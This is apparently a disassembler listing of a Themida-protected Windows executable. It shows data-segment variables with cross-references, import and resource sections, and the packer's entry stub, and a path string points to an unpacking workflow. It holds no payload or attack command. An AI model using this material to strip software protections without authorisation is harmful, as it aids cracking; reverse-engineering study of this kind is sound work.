dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CB000	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CB00C	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CB010	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CB014	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CB018	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CB020	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CB024	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CB028	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB030	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB03C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB044	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB048	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB04C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB050	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB054	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB05C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB060	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB064	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB06C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB074	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB078	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB080	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB088	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB090	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB094	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB098	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB09C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB0A4	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB0A8	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB0AC	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB0B0	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB0B4	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB0B8	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB0BC	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB0C0	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB0C4	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB0C8	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB0CC	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0D0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0D4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0F0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0F4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0F0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD108	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD10C	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD110	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD114	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD118	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD198	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD19C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD1A0	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD1A8	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD1AC	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD2B0	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD3B4	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD3B8	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD3BC	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD3C0	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD440	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD444	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD448	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD450	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD454	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD558	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD65C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD660	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD664	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD668	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6E8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6EC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6F0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6F8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6FC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD984	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA88	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA90	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA94	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA98	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA9C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDAA4	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDAAC	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDAB0	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDAB4	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDCBC	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDCC4	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDCCC	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCD4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCE0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCE4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCEC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCF4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCF8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDD08	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDD10	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE138	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE758	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEBCC	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2BCC	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BD0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BD8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2C10	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2E10	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D3610	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3E10	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3E14	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3E18	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3E1C	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3E20	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D4020	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D4028	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D402C	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4030	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4034	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4038	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D403C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4044	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 42h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437860o
		dd 3Ch dup(0)
dword_4D4244	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
dword_4D4248	dd 1944h dup(0)
dword_4DA758	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA75C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA960	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA9BC	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DABBC	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DABC0	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DAC1C	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DAE1C	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DAE20	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DB020	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB224	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB228	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB22C	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB230	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB234	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB268	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB270	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB2A8	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB2AC	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB2B0	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB2C4	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB2C8	dd 2430B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2D0	dd 2430B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2D4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2D8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2E0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2E8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2EC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2F0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2F4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2FC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB300	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB308	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB30A	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB30E	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB310	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB312	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB318	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB320	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB324	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB328	dd 0			; DATA XREF: sub_41F312r
dword_4DB32C	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB330	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB334	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB33C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB340	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB344	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB348	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB34C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB350	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB354	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB358	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB35C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB364	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB374	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB37C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB380	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2E0o
		align 10h
		dd 3Ah dup(0)
dword_4DB488	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB48C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB490	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB494	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB498	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB4A0	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB4A2	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB4A4	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB4C0	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB4C4	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB4C8	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB4CC	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4D0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4D8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4E0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4E4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB524	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB526	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB528	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB52A	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB52C	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB52E	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB530	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB532	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB534	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB538	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB578	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB57A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB57C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB57E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB580	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB582	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB584	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB586	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB588	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB58C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB590	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB594	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB598	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB59C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB5A0	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB5A4	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB5A8	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB5AC	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB5B0	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB5B8	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB5BC	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB5C0	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB5C4	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB5C8	dd 2431140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		dd 5 dup(0)
dword_4DB5E0	dd 400h	dup(0)		; DATA XREF: ___:off_43CA18o
					; ___:0043CA20o
dword_4DC5E0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC600	dd 2430650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC604	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC700	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC704	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC710	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC71C	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC720	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC820	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC821	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC924	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC928	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC92C	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC930	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC934	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC938	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC93C	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC940	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC944	dd 2430000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC948	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC94C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC950	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC954	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC958	dd 2430758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC95C	dd 2430758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1A8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 0CA95F9D6h, 4D2CFh, 5409Bh, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053CC4F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053FFC0 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00540236 SIZE 0000004B BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:00437A64o
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
